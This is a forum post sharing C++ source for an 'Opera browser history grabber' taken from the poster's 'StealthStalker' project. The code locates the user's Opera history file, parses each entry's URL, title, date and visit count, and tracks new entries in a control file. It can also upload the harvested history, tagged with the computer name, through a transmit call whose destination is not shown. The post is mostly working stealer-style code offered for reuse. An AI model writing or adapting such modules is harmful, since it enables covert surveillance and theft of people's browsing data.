Author Topic: [C++] Opera history file parser  (Read 1196 times)

0 Members and 1 Guest are viewing this topic.

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
[C++] Opera history file parser
« on: February 28, 2014, 09:32:44 pm »
Hello. This module is ripped straight from my StealthStalker project, so sorry if it's not directly compilable but it's easily modifiable. Now I am posting this because since last time I checked, new versions of Opera switched to SQLite database to store history and other stuff (like a real browser do) instead of saving everything into a text file. Because of that this module became somewhat irrelevant, so I thought I could share for comments and learning, I'll have to write a new one anyway to adapt to SQLite.
For a documentation on that old format, refer to this:
Code: [Select]
http://www.forensicswiki.org/wiki/Opera
Now here is my code:

Code: (cpp) [Select]
struct OperaHistoryData {
    std::string title;
    std::string url;
    std::string datetime;
    std::string visits;
};

Code: (cpp) [Select]
#include <vector>
#include "Structs.hpp"

class OperaHistory {
    public:
        void readFile(bool, char*);
    private:
        std::string convertMillisToDatetime(std::string);
        void writeOperaData(OperaHistoryData, std::ofstream&, bool, std::string&);
};

Code: (cpp) [Select]
/*
    Opera browser history grabber module;
    Grabs browsing history

    Author: Kulverstukas
*/

#include <iostream>
#include <stdio.h>
#include <fstream>
#include <string>
#include <time.h>
#include <algorithm>
#include <sys/stat.h>
#include "OperaHistory.hpp"
#include "SendData.hpp"

using namespace std;

const string OPERA_APPDATA_PATH = "Opera\\Opera";
const string APPDATA = "appdata";
const string OPERA_HISTORY_FILE = "global_history.dat";
const string OPERA_CONTROL_FILE = "opcontrol.dat";

void OperaHistory::readFile(bool upload, char* compName) {
    // create stuff
    string path = (((string)getenv(APPDATA.c_str()))+"\\"+OPERA_APPDATA_PATH+"\\");
    struct OperaHistoryData ohData;
    string operaDataStr;
    SendData sendData;

    // check if control file exists
    struct stat buff;
    long int prevMillis = 0;
    if (stat((path+OPERA_CONTROL_FILE).c_str(), &buff) != -1) {
        ifstream controlFile((path+OPERA_CONTROL_FILE).c_str());
        if (controlFile.is_open() and controlFile.good()) {
            string tmp;
            getline(controlFile, tmp);
            prevMillis = atol(tmp.c_str());
        }
        controlFile.close();
    }

    // do the actual reading and parsing of the history file
    ifstream operaFile((path+OPERA_HISTORY_FILE).c_str());
    long int rawMillis = 0;
    string line;
    int counter = 0;
    ofstream dataFile;
    if (!upload) {
        dataFile.open("Opera.txt", ios::app);
    }
    while (!operaFile.eof()) {
        getline(operaFile, line);
        counter++;
        if (counter == 1) { ohData.title = line; }
        else if (counter == 2) { ohData.url = line; }
        else if (counter == 3) {
            ohData.datetime = this->convertMillisToDatetime(line);
            rawMillis = atol(line.c_str());
        }
        else if (counter == 4) {
            int visits = atol(line.c_str());
            if (visits >= 0) { ohData.visits = "1"; }
            else if (visits < 0) { ohData.visits = ">1"; }
            counter = 0;
            if (rawMillis > prevMillis) {
               this->writeOperaData(ohData, dataFile, upload, operaDataStr);
            }
        }
    }
    if (upload) {
        sendData.transmit("Opera", compName, "Opera.txt", operaDataStr);
    } else {
        dataFile.close();
    }

    operaFile.close();
    ofstream controlFile((path+OPERA_CONTROL_FILE).c_str());
    if (controlFile.is_open() and controlFile.good()) {
        //controlFile << rawMillis << endl;
        controlFile << 0 << endl;
    }
    controlFile.close();
}

string OperaHistory::convertMillisToDatetime(string datetime) {
    time_t rawtime = atol(datetime.c_str());
    struct tm *convertedTime;
    convertedTime = localtime(&rawtime);
    char result[22];
    strftime(result, 22, "%Y.%m.%d, %X", convertedTime);
    return (string)result;
}

void OperaHistory::writeOperaData(OperaHistoryData data, ofstream &newFile, bool upload, string &dataStr) {
    if (upload) {
        dataStr.append("URL:\t"); dataStr.append(data.url); dataStr.append("\n");
        dataStr.append("Title:\t"); dataStr.append(data.title); dataStr.append("\n");
        dataStr.append("Date:\t"); dataStr.append(data.datetime); dataStr.append("\n");
        dataStr.append("Visits:\t"); dataStr.append(data.visits); dataStr.append("\n");
        dataStr.append("\n");
    } else {
        newFile << "URL:\t" << data.url << endl;
        newFile << "Title:\t" << data.title << endl;
        newFile << "Date:\t" << data.datetime << endl;
        newFile << "Visits:\t" << data.visits << endl;
        newFile << "\n";
    }
};